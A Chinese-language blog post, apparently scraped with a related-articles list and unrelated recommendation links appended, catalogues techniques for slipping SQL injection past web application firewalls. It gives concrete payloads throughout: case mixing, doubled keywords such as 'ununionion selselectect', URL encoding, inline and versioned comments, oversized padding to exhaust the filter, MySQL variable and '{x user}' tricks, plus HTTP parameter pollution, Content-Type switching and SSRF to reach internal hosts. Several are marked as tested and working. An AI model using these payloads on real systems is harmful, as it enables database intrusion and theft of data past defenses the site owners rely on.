绕过waf分类:

白盒绕过:

针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示:

 1 ........
2
3 $id=$_GET['id'];
4
5 $id=blacklist($id);
6
7 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
8
9 $result=mysql_query($sql);
10
11 $row=mysql_fetch_array($result);
12
13 .........

1 function blacklist($id){
2
3 $id=preg_replace('/or/i',"",$id);//过滤or
4
5 $id=preg_replace('/AND/i',"",$id);//过滤AND
6
7 return $id;
8 }

策略:

(1)大小写变形,这里也许无法成功,因为函数使用了正则匹配,/or/i   ;因此可以考虑重复,比如使用:OorR,就算过滤了一个or,仍然还剩一个OR

(2)等价替换,将and——>&&     or——>||

黑盒绕过:

(一)架构层绕WAF

(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。

(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf

(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入

(二)资源限制角度绕WAF

有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。

(三)协议层面绕过WAF

(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

(3)参数污染:有的waf仅对部分内容进行过滤,例如:

index.php?id=1&id=2

这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入

(四)规则层面绕过

(1)首先使用比较特殊的方法进行绕过:

可以在注入点,测试waf到底拦截的哪一部分的数据,如果是空格,可以尝试:/*%!%2f*/

如果是对sql的函数进行了过滤,可以尝试:XX()         ——>        XX/*%!%2f*/()

(2)以下为常见的规则替换,部分姿势:

以下为总结方式:

(3)大小写

select * from users where id='1' uNioN SeleCt 1,2,3;

(4)替换关键字(关键字重复)

select * from users where id=1 ununionion selselectect 1,2,3;

(5)编码

select * from users where id=1 union%0Aselect%0A1,2,3;//自测成功,但%2b不成功
select * from users where id=1 %75nion select 1,2,3;//自测成功,继续加油

(6)内联注释

select * from users where id=1 union/**/select/**/1,2,3;//自测成功,继续加油

(7)等价函数替换

version()——> @@version 

mid :mysql
从第五位字符串开始截取,直到最后
从第三个字符串开始截取,截取三位
substr :oracle、mysql、sqlserver
从第三个字符串开始截取,直到最后


从第二个字符串开始截取,截取五个字符

substring :mysql、sqlserver
从第三个字符串开始截取,直到最后


@@datadir ——> datadir()

select * from users where id=1 union select (mid(user(),5,3)),2,3;//自测成功,继续加油

(8)特殊符号

+   # ——>%23(#)  --+(注释符)  \\\\     `(上引号) @

select * from users where id=1 union+select+1,2,3;//自测成功,继续加油

(9)内联注释加!

select * from users where id=1 /*!union*/select 1,2,3;//自测成功,继续加油

(10)缓冲区溢出

select * from users where id=1  and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油

0xA*1000  指的是0XA后面的 "A" 重复1000次
一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度
这里1000仅供参考,在一些情况下也可以更短

(11)mysql特性绕过

1.= 等于
:= 赋值
@ @+变量名可直接调用

select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL

(12)黑魔法

{x  user}   {x  mysql.user}

select{x user}from{x mysql.user};//自测成功,继续加油,root

SQL注入绕过waf的一万种姿势的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. [转载]SQL注入绕过WAF的方法总结

    基本/简单绕过方法: 1.注释符 http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4-. 2.使用 ...

  5. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  6. TSRC挑战赛:WAF之SQL注入绕过挑战实录

    转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...

  7. SQL注入绕WAF总结

    0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...

  8. SQL注入过WAF(11.4 第三十三天)

    WAF是什么? Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如D ...

  9. SQL注入绕过技巧总结

    1.SQL注入过程中的处理# 终端payload编码------>web服务器解码-------->CGI脚本解码------>web应用解码----->数据库解码 浏览器.代 ...

随机推荐

  1. Centos 7 安装nginx指定版本

    官方版本列表:http://nginx.org/download/ 1.安装 wget http://nginx.org/download/nginx-1.10.3.tar.gz tar -zxvf ...

  2. SpringBoot整合shiro-MD5盐值加密

    为什么要进行密码加密? 在我们的日常生活中,许多人有着在不同网站上使用相同密码的坏习惯(包括我也是qaq),假如应用程序或服务器出现漏洞,数据被窃取,用户的明文密码直接被暴露给黑客.显然后果将不堪设想 ...

  3. 数学知识-欧拉函数&快速幂

    欧拉函数 定义 对于正整数n,欧拉函数是小于或等于n的正整数中与n互质的数的数目,记作φ(n). 算法思路 既然求解每个数的欧拉函数,都需要知道他的质因子,而不需要个数 因此,我们只需求出他的质因子, ...

  4. POJ - 3665 icow

    Fatigued by the endless toils of farming, Farmer John has decided to try his hand in the MP3 player ...

  5. ROM、SDRAM、RAM、DRAM、SRAM、FLASH的区别

    ROM和RAM指的都是半导体存储器,ROM是Read Only Memory的缩写,RAM是Random Access Memory的缩写.ROM在系统停止供电的时候仍然可以保持数据,而RAM通常都是 ...

  6. 在竞赛中使用new的问题

      问了一下KingSann大佬,大佬说 找空闲内存均摊O(1)但是如果new多了就是O(n) 真tm可怕..还是开个内存池好了.. 要么直接now++,要么直接Node *s=&node[t ...

  7. 可迭代对象&迭代器&生成器

    在python中,可迭代对象&迭代器&生成器的关系如下图: 即:生成器是一种特殊的迭代器,迭代器是一种特殊的可迭代对象. 可迭代对象 如上图,这里x是一个列表(可迭代对象),其实正如第 ...

  8. USB2.0协议学习笔记---USB工作过程(类的方法)

    前面学习了那么多的概念,这里需要记住一点分层概念即设备 ---> 配置 ---> 接口 ---> 端点,这种分层的概念结构 . 也可以理解为端点构成接口,接口组成配置,配置组成设备. ...

  9. markdown table collapse span

    markdown table collapse span refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问! 原创文章,版权所有️x ...

  10. classnames & React & taro

    classnames & React & taro classnames https://www.npmjs.com/package/classnames demo https://g ...